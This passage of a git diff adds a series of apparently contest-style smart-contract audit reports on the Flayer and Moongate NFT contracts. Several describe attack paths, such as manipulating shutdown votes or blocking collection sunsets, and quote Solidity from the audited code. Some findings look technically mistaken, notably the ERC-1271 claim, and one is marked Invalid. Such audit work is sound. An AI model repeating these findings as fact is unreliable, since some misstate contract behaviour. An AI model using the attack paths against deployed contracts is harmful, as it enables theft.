+The `_getCollectionRoyalty` function in the `InfernalRiftAbove` contract attempts to fetch royalty information using the `royaltyInfo()` function from the ERC2981 interface. However, if the `royaltyInfo()` call fails—either because the token does not support EIP-2981 or due to an error—it fails silently without returning any fallback value or error notification. This may result in incorrect or missing royalty calculations for certain tokens, especially if they do not adhere to the EIP-2981 standard.
+## Vulnerability Detail
+The current implementation of the _getCollectionRoyalty function does not handle the case where the call to royaltyInfo() fails. The function uses a try/catch block, but the catch block does not provide an alternative or log an error if the royalty retrieval fails. This could lead to a situation where the royalty percentage is incorrectly set to zero without the caller realizing the failure, leading to losses for royalty recipients. Additionally, the absence of any alert or fallback mechanism means that users of the contract would not be informed of the failure.
+## Impact
+If the royaltyInfo() call fails, the contract will not calculate the correct royalty percentage. This can cause:
+
+Incorrect Distribution of Royalties: The royalty percentage for tokens that do not support EIP-2981 will be set to zero, resulting in no royalties being paid to the rightful owners.
+Loss of Revenue: Creators who rely on royalty payments may lose significant revenue if their tokens do not support EIP-2981 and the fallback mechanism is not in place.
+Silent Failure: Users and developers interacting with the contract may not realize that royalty retrieval has failed, as there is no error message or alert.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L284C4-L293C1
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a fallback mechanism in the catch block to handle cases where tokens do not comply with EIP-2981. For instance, allow a default royalty rate to be returned when royaltyInfo() fails.
+Log an error event or emit an alert to notify users when royalty retrieval fails.
diff --git a/764.md b/764.md
new file mode 100644
index 0000000..2acdf52
--- /dev/null
+++ b/764.md
@@ -0,0 +1,24 @@
+Blunt Daffodil Iguana
+
+Medium
+
+# ERC1155 Amount Validation is Insufficient in `moongate` `InfernalRiftAbove`
+
+## Summary
+The `crossTheThreshold1155` function currently only checks for zero amounts in ERC1155 token transfers, which can lead to an invalid amount being processed. There is no validation to ensure that the amount being transferred is within the user's balance or that it is a valid non-zero value. This lack of validation could result in failed transfers or undefined behavior when users attempt to cross tokens with amounts exceeding their available balance.
+## Vulnerability Detail
+In the crossTheThreshold1155 function, the code checks whether the ERC1155 token amount is zero and reverts the transaction if true. However, there is no validation for cases where the user specifies an amount that exceeds their token balance. Without proper validation, users can attempt to transfer more tokens than they possess, which can lead to failures at the time of transfer and unexpected behavior. This opens the contract to a lack of control over token transfers and inadequate handling of erroneous input.
+## Impact
+Failed Transactions: Users may attempt to transfer ERC1155 tokens with amounts exceeding their available balance, leading to failed transactions and a poor user experience.
+Potential Exploits: In edge cases where the ERC1155 token contract does not enforce balance checks correctly, an attacker could potentially exploit this to transfer invalid amounts of tokens.
+Undefined Behavior: Without proper validation, it becomes difficult to predict how the system will behave when invalid amounts are provided. This could cause issues in downstream processes such as bridging or token handling on Layer 2.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L137C4-L194C6
+## Tool used
+
+Manual Review
+
+## Recommendation
+Balance Validation: Add a check to ensure that the amount specified for transfer does not exceed the user's available balance.
+Error Handling: Implement more robust error handling to catch potential issues with invalid amounts, including amounts that exceed the user's balance or are otherwise invalid within the context of the transfer.
+Log Events for Invalid Transfers: Consider emitting events that log attempts to make invalid transfers, providing insight into misuse or errors during token transfer.
\ No newline at end of file
diff --git a/771.md b/771.md
new file mode 100644
index 0000000..9c5ad78
--- /dev/null
+++ b/771.md
@@ -0,0 +1,27 @@
+Blunt Daffodil Iguana
+
+Medium
+
+# Insufficient Cross-Chain Messaging Validation in `InfernalRiftAbove`
+
+## Summary
+The `returnFromTheThreshold` function validates the cross-chain message sender using the `msg.sender` address and checks if it matches the expected contracts `(L1_CROSS_DOMAIN_MESSENGER and INFERNAL_RIFT_BELOW)`. However, this method could be improved by implementing a more secure challenge-response mechanism to ensure the authenticity of the cross-chain messages. Current validation might be vulnerable to certain attack vectors, such as spoofing or replay attacks.
+
+
+## Vulnerability Detail
+The `returnFromTheThreshold` function relies on the `msg.sender` address for verifying that the message comes from the `L1_CROSS_DOMAIN_MESSENGER and INFERNAL_RIFT_BELOW.` While this provides some level of security, it is not sufficient to guarantee the authenticity of the cross-chain messages. Without a challenge-response mechanism, it is possible for attackers to send fraudulent or replayed messages from other sources that appear to come from valid addresses. This can potentially lead to unauthorized token transfers or tampering with cross-chain communication.
+## Impact
+Spoofing: Malicious actors could potentially spoof the msg.sender address or find ways to bypass simple validation, causing unauthorized transactions or message handling.
+Replay Attacks: Since there is no nonce or challenge-response in place, attackers could replay old valid messages to trigger unwanted actions, such as re-transferring tokens.
+Cross-Chain Security Risks: The cross-chain bridge between L1 and L2 becomes vulnerable to tampering and manipulation, compromising the security of the entire system.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L206C1-L242C1
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement Challenge-Response Mechanism: Introduce a challenge-response system where L1 and L2 contracts exchange cryptographic challenges and responses to ensure the authenticity of cross-chain messages. This mechanism can be based on nonces, timestamps, or other verifiable cryptographic proofs.
+Use Nonce-Based Validation: Add a nonce or sequence number to messages that prevents replay attacks. Each message should be unique and processed only once to avoid duplication or unintended consequences.
+Signature Verification: Use cryptographic signatures to verify the authenticity of the message. The L1 contract can sign the messages, and the L2 contract should verify the signature before processing any actions.
+Improve Event Logging: Log events that capture the message details, such as sender address, message content, and other identifying information, to facilitate better tracking and debugging of potential security issues.
\ No newline at end of file
diff --git a/772.md b/772.md
new file mode 100644
index 0000000..81f5319
--- /dev/null
+++ b/772.md
@@ -0,0 +1,39 @@
+Cuddly Ocean Gibbon
+
+Medium
+
+# Locked ether in CollectionShutdown due to incorrect implementation of receive() function
+
+# Summary
+
+This is an error from the category: Contract can receive ether, but cannot withdraw it. Funds that were received by the contract not from registered sudoswap pools remain on it without the possibility of being withdrawn.
+
+Thus, native tokens remain locked in the contract and disappear from general circulation.
+
+Examples of such errors:
+
+[[1](https://solodit.xyz/issues/m-06-possible-locked-ether-funds-issue-in-rcorderbooksol-code4rena-reality-cards-reality-cards-contest-git)](https://solodit.xyz/issues/m-06-possible-locked-ether-funds-issue-in-rcorderbooksol-code4rena-reality-cards-reality-cards-contest-git), [[2](https://solodit.xyz/issues/m-03-contract-can-receive-eth-but-has-no-withdraw-function-for-it-pashov-none-moleculevesting-markdown)](https://solodit.xyz/issues/m-03-contract-can-receive-eth-but-has-no-withdraw-function-for-it-pashov-none-moleculevesting-markdown)
+
+## Vulnerability Detail
+
+The contract does not revert funds received from unregistered Sudoswap pools. Consequently, it does not add them to availableClaim.
+
+The only way to withdraw native tokens from the contract is to use one's availableClaim in the `claim` and `voteAndClaim` functions. Thus, the received funds for which availableClaim is not recorded remain locked in the contract.
+
+In general, the logic of the contract and the protocol as a whole does not intend for `CollectionShutdown` to receive native tokens from any addresses other than Sudoswap pools.
+
+## Impact
+
+Medium Risk - Possible loss or lock of funds that protocol can withdraw for themself.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L529-L539
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Revert in else case in receive() or add withdraw onlyOwner function
\ No newline at end of file
diff --git a/773.md b/773.md
new file mode 100644
index 0000000..1fc67a3
--- /dev/null
+++ b/773.md
@@ -0,0 +1,29 @@
+Bright Emerald Fish
+
+High
+
+# Incorrect index due to not emptying tstore
+
+## Summary
+An incorrect index of the checkpoint is used when creating a Protected Listing because the tstore opcode is not emptied after the use.
+
+## Vulnerability Detail
+The tstore opcode is temporary but not emptied after until the end of the transaction. Hence if a user creates multiple protectedListings in the same transaction the same checkpointIndex will be used for all the listings except the first.
+
+**POC**
+- User creates a ProtectedListing the checkpoint is updated with the current checkpoint
+- User creates another ProtectedListing in the same transaction leading to the same checkpoint been used for listing 2
+- User can continuously do this and all subsequent listings will have the same checkpoint
+
+## Impact
+The listing checkpoint index is used to calculate the unlock price of a user's NFT, as such this will result in listings with lower price.
+
+## Code Snippet
+In https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L138
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Clear the tstore opcode after use/call.
\ No newline at end of file
diff --git a/774.md b/774.md
new file mode 100644
index 0000000..9e07ffe
--- /dev/null
+++ b/774.md
@@ -0,0 +1,63 @@
+Glorious White Cyborg
+
+Medium
+
+# sunsetCollection will not execute when a listing exists with very large created parameter
+
+### Summary
+
+`collectionShutdown` calls shutdown collection when the collection has to be removed from locker.sol
+
+However it checks if pending listings exist and even if locker is paused, if a listing had very high created time, it'll not be removed and listingCount will stay non-zero
+
+This will permanently DOS `sunsetCollection` from ever being called.
+
+
+
+### Root Cause
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L241
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L142
+
+The issue comes where a listing cannot be forcibly removed when `createListings` is called with an impossible to reach value for `created` parameter for the block.timestamp
+
+This causes Listings count to always be non-zero effectively DOSing the `sunsetCollection` method
+
+```solidity
+ function _hasListings(address _collection) internal view returns (bool) {
+ IListings listings = locker.listings();
+ if (address(listings) != address(0)) {
+@> if (listings.listingCount(_collection) != 0) {
+ return true;
+ }
+.
+.
+.
+
+```
+
+### Internal pre-conditions
+
+1. `createListings` with a listing of `created` parameter very higher than block.timestamp is called
+
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. `sunsetCollection` is attempted to be called from `CollectionShutdown` but fails as the `listingCount` for the collection will always be non-zero
+
+### Impact
+
+The collection can never be sunset
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+have a limit check for the collection listing created or have a method to forcibly remove a listing from `Listings.sol`
\ No newline at end of file
diff --git a/776.md b/776.md
new file mode 100644
index 0000000..6846f69
--- /dev/null
+++ b/776.md
@@ -0,0 +1,31 @@
+Rough Corduroy Eagle
+
+High
+
+# Non-Compliant ERC-1271 Signature Validation in AirdropRecipient Contract
+
+### Summary
+
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/AirdropRecipient.sol#L58
+
+The `isValidSignature` function in `AirdropRecipient.sol` incorrectly returns `bytes4(0xffffffff)` for invalid signatures instead of reverting, violating the ERC-1271 standard. This erroneous behavior can be triggered whenever an external protocol or application interacts with the contract, attempting to verify a signature using this function.
+
+### 3. Proof-of-Concept (PoC) Flow:
+
+1. **External Protocol Interaction:** An external protocol, intending to verify a signature, interacts with the `isValidSignature` function, passing an invalid signature and its corresponding hash.
+2. **Incorrect Signature Validation:** The `isValidSignature` function, using `SignatureCheckerLib.isValidSignatureNow`, determines that the signature is invalid.
+3. **Erroneous Return Value:** Instead of reverting, as dictated by the ERC-1271 standard, the function returns `bytes4(0xffffffff)`.
+4. **False Positive:** The external protocol, unaware of this deviation from the standard, interprets `bytes4(0xffffffff)` as an indication of a valid signature.
+
+### 4. Impact:
+
+This bug can have severe consequences, particularly for the security and reliability of the `AirdropRecipient` contract:
+
+* **False Positive Signature Verification:** This can lead to the acceptance of forged approvals or execution of unauthorized actions by malicious actors. Imagine a scenario where airdrop claims are authenticated using signatures. A malicious actor could craft an invalid signature and use this bug to claim airdrops that they are not entitled to, depleting funds intended for legitimate recipients.
+* **Bypassing Security Measures:** External protocols, especially those responsible for critical operations like asset transfers or fund management, rely on the `isValidSignature` function for security. This bug essentially allows these security measures to be bypassed with an invalid signature.
+
+**Recommendation:**
+
+The code should be immediately rectified to strictly comply with the ERC-1271 standard. The `isValidSignature` function must revert for invalid signatures, ensuring robust security and preventing the possibility of exploitation.
+
diff --git a/777.md b/777.md
new file mode 100644
index 0000000..37ae9f2
--- /dev/null
+++ b/777.md
@@ -0,0 +1,51 @@
+Tart Laurel Starling
+
+Medium
+
+# Differences between ZKSync and Ethereum in handling contract deployment and address calculation
+
+## Summary
+Differences between ZKSync and Ethereum in handling contract deployment and address calculation
+## Vulnerability Detail
+According to the requirements of the project, this contract will be deployed on the l2 chain, which involves the create operation code. This is a problem in the zk network.
+https://github.com/sherlock-audit/2024-08-flayer/tree/0ec252cf9ef0f3470191dcf8318f6835f5ef688c?tab=readme-ov-file#moongate
+On Ethereum, it can be safely determined using the formula hash(RLP[address, nonce]). However, on ZKsync, it is advisable to wait until the contract is deployed and catch the ContractDeployed event emitted by the [ContractDeployer](https://docs.zksync.io/build/developer-reference/era-contracts/system-contracts), which provides the address of the newly deployed contract. The SDK handles all of these processes in the background to simplify the workflow.
+## Impact
+https://docs.zksync.io/build/developer-reference/ethereum-differences/evm-instructions#create-create2
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L311-L313
+```solidity
+
+ // Deploy our new ERC20 token using Clone. We use the impending ID
+ // to clone in a deterministic fashion.
+ ICollectionToken collectionToken_ = ICollectionToken(
+ LibClone.cloneDeterministic(tokenImplementation, bytes32(_collectionCount))
+ );
+```
+```solidity
+ /// @dev Deploys a deterministic clone of `implementation` with `salt`.
+ /// Deposits `value` ETH during deployment.
+ function cloneDeterministic(uint256 value, address implementation, bytes32 salt)
+ internal
+ returns (address instance)
+ {
+ /// @solidity memory-safe-assembly
+ assembly {
+ mstore(0x21, 0x5af43d3d93803e602a57fd5bf3)
+ mstore(0x14, implementation)
+ mstore(0x00, 0x602c3d8160093d39f33d3d3d3d363d3d37363d73)
+ instance := create2(value, 0x0c, 0x35, salt)
+ if iszero(instance) {
+ mstore(0x00, 0x30116425) // `DeploymentFailed()`.
+ revert(0x1c, 0x04)
+ }
+ mstore(0x21, 0) // Restore the overwritten part of the free memory pointer.
+ }
+ }
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
+Use reliable deployment tools and SDKs: For example, ensure that the ZKSync SDK or similar tools handle contract bytecode correctly.
\ No newline at end of file
diff --git a/778.md b/778.md
new file mode 100644
index 0000000..f3304db
--- /dev/null
+++ b/778.md
@@ -0,0 +1,67 @@
+Cuddly Ocean Gibbon
+
+Medium
+
+# Invariant of FLOOR_MULTIPLE < 10 can be broken whether by negligence or on purpose
+
+## Summary
+This error allows breaking the protocol invariant that the commission paid by the user for a `Listing` is > `1 collection token.` This invariant is not allowed in the `Listings::createListings` function, as a commission > 1 token will not pass due to a revert on this [[line](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L151)](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L151). However, when a user creates/modifies a listing not using the `Listings::createListings` function, but for example `Listings::modifyListings`, `Listings::relist` - there the commission for creating a collection can be paid using `_payTaxWithEscrow`, which will deduct the commission amount from the user's balance in `TokenEscrow`. In this deduction, there is no check that the commission being paid by the user does not exceed 1.
+
+This error falls under the category from the Contest Readme.
+
+> **Should potential issues, like broken assumptions about function behavior, be reported if they could pose risks in future integrations, even if they might not be an issue in the context of the scope? If yes, can you elaborate on properties/invariants that should hold?**
+>
+
+Response
+
+> Responses such as expected fees and tax calculations should be correct for external protocols to utilise. It is also important that each NFT has a correct status. Having tokens that aren't held by Flayer listed as for sale, protected listings missing, etc. would be detrimental.
+>
+
+I will also provide a dialogue from the Private Thread
+
+My Question
+
+> Hey, I have another question about invariants
+Is it important invariant that user cannot create listing with floor multiple more than ~ 700
+Because I find the way how user can create floor multiple as much as tx size he can pay
+>
+
+Team Answer
+
+> Oh really? I think we had a hard cap at 10x. I think the issue would be if the user had to pay more tax than the 1 token returned, it could lead to some really weird protocol interactionSo I'd say that should be considered a bug, though I'm unsure the extent of it
+>
+
+My answer
+
+>
+>
+>
+> Yes, the thing is that you can't do it directly via create listing, but if you use modifyListings or relist function and specify _payTaxWithEscrow as true - then there is no check if user is less than 1 token in escrow payment.
+>
+> Do you think this could be seen as broken protocol behaviour / invariant ?
+>
+
+Team answer
+
+> I would say that if the user can set a nutty floor multiple above the max we would want to set then yes this would be a broken behaviour
+>
+
+## Vulnerability Detail
+
+When calling functions that do not create a listing directly, but overwrite/modify an already created one, you can specify the bool parameter *payTaxWithEscrow - which will pay the commission for you from your TokenEscrow balance. This payment occurs in the* `Listings::payTaxWithEscrow` *function and has no checks that the commission paid by the user will not be greater than 1. This means either the user will knowingly lose funds if they mistakenly set a large Floor*Multiple (when creating a listing in CreateListings, any `FloorMultiple > ~1000` will result in the commission being > 1 token and the transaction will revert), or intentionally set a high FloorMultiple and pay the commission from Escrow, aiming to break the protocol invariant.
+
+## Impact
+
+This issue breaks one of the invariants and expected behaviors of the protocol.
+
+Severity: Medium
+
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add check for listing_tx size in `Listings::payTaxWithEscrow`
\ No newline at end of file
diff --git a/780.md b/780.md
new file mode 100644
index 0000000..2e654e9
--- /dev/null
+++ b/780.md
@@ -0,0 +1,115 @@
+Rough Corduroy Eagle
+
+High
+
+# Inaccurate ETH Distribution in Collection Shutdown Claim
+
+### Summary
+
+## Bug Report: Inaccurate ETH Distribution in Collection Shutdown Claim
+
+**1. Title:** Inaccurate ETH Distribution in Collection Shutdown Claim
+
+**2. Trigger Conditions:**
+
+This bug can be triggered under the following conditions:
+
+* A collection shutdown is initiated and successfully reaches quorum.
+* The collection shutdown is executed, sending the NFTs to a Sudoswap pool for liquidation.
+* All the NFTs in the Sudoswap pool are sold, generating ETH proceeds.
+* Users with dust tokens attempt to claim their share of the ETH.
+
+**3. Proof of Concept Flow:**
+
+1. **Start Shutdown:** A user initiates a shutdown process for a collection with a low number of NFTs in circulation. For instance, there are 100 tokens, and the user owns 60. The shutdown quorum would be 50 tokens (50%).
+2. **Reach Quorum:** The user votes with their 60 tokens, exceeding the required quorum.
+3. **Execute Shutdown:** An admin calls the `execute()` function, sending the remaining NFTs from the `Locker` to a Sudoswap pool for liquidation.
+4. **Sudoswap Liquidation:** The Sudoswap pool sells all the NFTs, accumulating 10 ETH in proceeds.
+5. **User Claim:** The initial user, owning 60% of the dust tokens, attempts to claim their share using the `claim()` function.
+
+**Expected Outcome:** The user should receive 6 ETH (60% of 10 ETH).
+
+**Actual Outcome:** Due to the bug, the user will receive only 3 ETH, calculated as `10 ETH * 60 / (50 * 100 / 50)`. The denominator uses the quorum votes (50) instead of the total circulating supply (100).
+
+**4. Impact:**
+
+This bug leads to an inaccurate calculation of the claimable ETH for users participating in the Collection Shutdown mechanism. The primary impact is **financial loss for legitimate dust token holders** as they are **systematically underpaid** during the claim process. The lower the participation rate during the vote phase (the lower the shutdownVotes in relation to the total circulating supply), the more pronounced the underpayment.
+
+This situation could cause several negative consequences:
+
+* **Loss of User Funds:** Users lose a significant portion of their rightful ETH proceeds from the NFT liquidation.
+* **Damaged Reputation:** The inaccurate distribution erodes trust in the platform's fairness and accuracy, discouraging further user participation in shutdowns.
+* **Potential Disputes and Legal Issues:** The unfair distribution could lead to disputes between users and the platform, potentially escalating into legal issues.
+
+**5. Function Code:**
+
+Here's the `claim()` function from `CollectionShutdown.sol`:
+
+```solidity
+function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ // Ensure our user has tokens to claim
+ uint claimableVotes = shutdownVoters[_collection][_claimant];
+ if (claimableVotes == 0) revert NoTokensAvailableToClaim();
+
+ // Ensure that we have moved token IDs to the pool
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+
+ // Ensure that all NFTs have sold from our Sudoswap pool
+ if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+
+ // We can now delete our sweeper pool tokenIds
+ if (params.sweeperPoolTokenIds.length != 0) {
+ delete _collectionParams[_collection].sweeperPoolTokenIds;
+ }
+
+ // Burn the tokens from our supply
+ params.collectionToken.burn(claimableVotes);
+
+ // Set our available tokens to claim to zero
+ delete shutdownVoters[_collection][_claimant];
+
+ // ***BUGGY LINE:***
+ // Get the number of votes from the claimant and the total supply and determine from that the percentage
+ // of the available funds that they are able to claim.
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+
+ emit CollectionShutdownClaim(_collection, _claimant, claimableVotes, amount);
+}
+```
+
+**Recommendation:**
+
+It is strongly advised to address this bug immediately to ensure a fair and accurate ETH distribution in the Collection Shutdown mechanism.
+
+
+### Root Cause
+
+_No response_
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/781.md b/781.md
new file mode 100644
index 0000000..7f585aa
--- /dev/null
+++ b/781.md
@@ -0,0 +1,76 @@
+Rough Corduroy Eagle
+
+High
+
+# Missing Harberger Fee Deduction in CollectionToken.mint
+
+### Summary
+
+## Bug Report: Harberger Fees Not Deducted During Liquid Listing
+
+**1. Bug Title:** Missing Harberger Fee Deduction in CollectionToken.mint
+
+**2. Trigger Condition:**
+
+This bug is triggered whenever a user creates a Liquid Listing for an NFT. The CollectionToken contract, responsible for minting the fungible representation (ƒ tokens) of the listed NFT, does not deduct the pre-paid Harberger Fees as specified in the whitepaper.
+
+**3. PoC Flow:**
+
+1. **User Lists NFT:** A user initiates a Liquid Listing for a non-floor NFT, setting a desired floor multiple (redemption price).
+2. **CollectionToken.mint Called:** The platform calls the `CollectionToken.mint` function to issue ƒ tokens to the user representing the initial liquidity received for the listing (equivalent to one floor NFT).
+3. **No Fee Deduction:** The `mint` function in `CollectionToken.sol` unconditionally mints the full `_amount` of ƒ tokens to the user without deducting any pre-paid Harberger Fees.
+
+**4. Impact:**
+
+- **Free Liquidity Exploitation:** Users can list their NFTs at extremely inflated prices while still receiving the full amount of floor tokens (1 ƒ token), effectively obtaining free and unbacked liquidity.
+- **ƒ Token Depegging:** The unchecked minting of ƒ tokens without proper fee deduction dilutes their value and leads to a disconnect between the token price and the actual market value of the underlying NFTs.
+- **Unhealthy Listing Ecosystem:** Incentivizes manipulative listings with exorbitant redemption prices, hindering legitimate trading and "Trade-Up" opportunities.
+- **Protocol Sustainability Threat:** Undermines the core value proposition of the Harberger Fee model, which is designed to encourage fair pricing and discourage price manipulation.
+
+**5. Code Snippet: `CollectionToken.mint`:**
+
+```solidity
+/**
+ * Allows our creating contract to mint additional ERC20 tokens when required.
+ *
+ * @param _to The recipient of the minted token
+ * @param _amount The number of tokens to mint
+ */
+function mint(address _to, uint _amount) public onlyOwner {
+ if (_to == address(0)) revert MintAddressIsZero();
+ _mint(_to, _amount); // <--- Full amount minted without fee deduction
+}
+```
+
+**Recommendation:**
+
+Modify the `CollectionToken.mint` function to first calculate and deduct the pre-paid Harberger Fee from the total `_amount` before minting the remaining amount of ƒ tokens to the user. This modification will ensure that users pay the required interest on their listings, promoting fair pricing and a robust ecosystem.
+
+
+### Root Cause
+
+_No response_
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/782.md b/782.md
new file mode 100644
index 0000000..5821f8b
--- /dev/null
+++ b/782.md
@@ -0,0 +1,23 @@
+Round Silver Cuckoo
+
+Medium
+
+# Malicious attacker can cheat the voting mechanism to sunset the collection
+
+## Summary
+A dishonest party can cheat the voting mechanism to influence the vote when users are trying to sunset a collection
+## Vulnerability Detail
+The protocol leaves a room for users to create and canceling listing at any instant. An attacker can create a malicuous contract that will do the following
+1. `CreateListing` from listing contract
+2. call start on the `CollectionShutdown` contract
+3. call `CancelListing` from the listing contract
+## Impact
+Attacker can influence votes provided that they have enough collection ERC20 token
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L135
+## Tool used
+
+Manual Review
+
+## Recommendation
+consider setting a cool down time fot which users will be able to cancel, from when the listing was created
\ No newline at end of file
diff --git a/786.md b/786.md
new file mode 100644
index 0000000..d4f2796
--- /dev/null
+++ b/786.md
@@ -0,0 +1,88 @@
+Rough Corduroy Eagle
+
+Invalid
+
+# Premature Claim in Collection Shutdown Due to NFT Re-Listing
+
+### Summary
+
+## Bug Report: Premature Claim in Collection Shutdown Due to NFT Re-Listing
+
+### 1. Bug Title:
+
+Premature Claim Enabled by Relisted NFTs in SudoSwap Liquidation Pool
+
+### 2. Why this could be triggered?
+
+The current `collectionLiquidationComplete()` function solely verifies if the SudoSwap pool directly owns the NFTs. However, a user can buy an NFT from the SudoSwap liquidation pool and subsequently re-list it. This results in the pool no longer being the owner, misleading the function into wrongly concluding that all NFTs have been sold. Consequently, it prematurely enables claims.
+
+### 3. PoC flow to trigger:
+
+1. **Initiate Collection Shutdown:** Trigger the collection shutdown process, send NFTs to a SudoSwap pool for liquidation.
+2. **Partial Purchase:** A user (User A) buys a subset of the NFTs in the SudoSwap pool.
+3. **Re-Listing:** User A lists their recently purchased NFTs, on a platform outside the flayer ecosystem, at a potentially higher price.
+4. **False Completion Signal:** The `collectionLiquidationComplete()` function incorrectly returns `true` because the SudoSwap pool no longer owns the relisted NFTs.
+5. **Premature Claims:** Token holders, assuming liquidation is complete, invoke the `claim()` function and withdraw their proportional ETH prematurely, despite remaining unsold NFTs.
+
+### 4. Impact:
+
+* **Incorrect ETH Distribution:** Users could claim a larger ETH share than entitled to if they claim before all NFTs are sold. The `params.availableClaim` wouldn't accurately reflect the full ETH proceeds from the liquidation if unsold NFTs remain.
+* **Potential Losses:** Users who purchased and relisted the NFTs risk potential losses if the relisted NFTs fail to sell at a higher price, leading to an overall reduction in the total ETH collected.
+* **Flawed Protocol Logic:** The bug compromises the intended security and accuracy of the collection shutdown mechanism. It defeats the purpose of equitable ETH distribution amongst token holders based on actual NFT sales proceeds.
+
+### 5. Code Snippet:
+
+```solidity
+ function collectionLiquidationComplete(address _collection) public view returns (bool) {
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ uint sweeperPoolTokenIdsLength = params.sweeperPoolTokenIds.length;
+
+ // If we have no registered tokens, then there is nothing to check
+ if (sweeperPoolTokenIdsLength == 0) {
+ return true;
+ }
+
+ // Store our loop iteration variables
+ address sweeperPool = params.sweeperPool;
+ IERC721 collection = IERC721(_collection);
+
+ // Check that all token IDs have been bought from the pool
+ for (uint i; i < sweeperPoolTokenIdsLength; ++i) {
+ // BUG: Only checks for direct SudoSwap pool ownership,
+ //ignores the possibility of NFT re-listing
+ if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+ return false;
+ }
+ }
+ return true;
+ }
+```
+
+
+### Root Cause
+
+_No response_
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/787.md b/787.md
new file mode 100644
index 0000000..ca8b055
--- /dev/null
+++ b/787.md
@@ -0,0 +1,24 @@
+Blunt Daffodil Iguana
+
+Medium
+
+# Lack of Validation for Recipient Address in `InfernalRiftBelow`
+
+## Summary
+The `thresholdCross` function and its related internal functions `(_thresholdCross721, _thresholdCross1155)` fail to validate the `recipient address`. This can lead to tokens being sent to invalid addresses, resulting in a permanent loss of assets. Validation of the recipient address should be implemented to avoid this issue.
+
+
+## Vulnerability Detail
+The contract allows for the transfer of `ERC721` and `ERC1155` tokens using the `thresholdCross` function, where the recipient address is passed as an argument. However, there is no check to ensure that the recipient address is valid or non-zero. If an invalid address is provided , tokens could be lost permanently, as they would be sent to a non-recoverable address. This is particularly risky in cross-chain transfers or bridging mechanisms.
+
+
+## Impact
+Tokens can be transferred to invalid addresses, leading to a permanent loss of assets. Since the contract is designed to handle cross-chain transfers, losing tokens in such a manner could severely impact the security and functionality of the system.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L234C1-L321C1
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add validation to ensure that the recipient address is valid.
\ No newline at end of file
diff --git a/794.md b/794.md
new file mode 100644
index 0000000..29e0f32
--- /dev/null
+++ b/794.md
@@ -0,0 +1,38 @@
+Daring Strawberry Eel
+
+Medium
+
+# Incorrect Updating of Listing Data in `_mapListings` Function
+
+## Summary
+
+The function attempts to modify `_createListing.listing.checkpoint` where `_createListing` is a `memory` variable derived from `calldata`. In Solidity, modifying `memory` variables does not affect the original `calldata`, and depending on the struct definitions, this may not correctly update the storage `ProtectedListing`.
+
+## Vulnerability Detail
+
+If the `checkpoint` is not correctly updated in the storage `_protectedListings`, subsequent functions relying on accurate checkpoint data (e.g., `unlockPrice`, `getProtectedListingHealth`) may produce incorrect results, leading to vulnerabilities like improper debt calculations or incorrect collateral assessments.
+
+## Impact
+
+## Code Snippet
+
+function _mapListings(CreateListing memory _createListing, uint _tokenIds, uint _checkpointIndex) internal returns (uint tokensReceived_) {
+ for (uint i; i < _tokenIds; ++i) {
+ // 使用当前检查点更新请求并存储 listing
+ _createListing.listing.checkpoint = _checkpointIndex;
+ _protectedListings[_createListing.collection][_createListing.tokenIds[i]] = _createListing.listing;
+
+ tokensReceived_ += _createListing.listing.tokenTaken;
+
+ emit ListingDebtAdjusted(_createListing.collection, _createListing.tokenIds[i], int(uint(_createListing.listing.tokenTaken)));
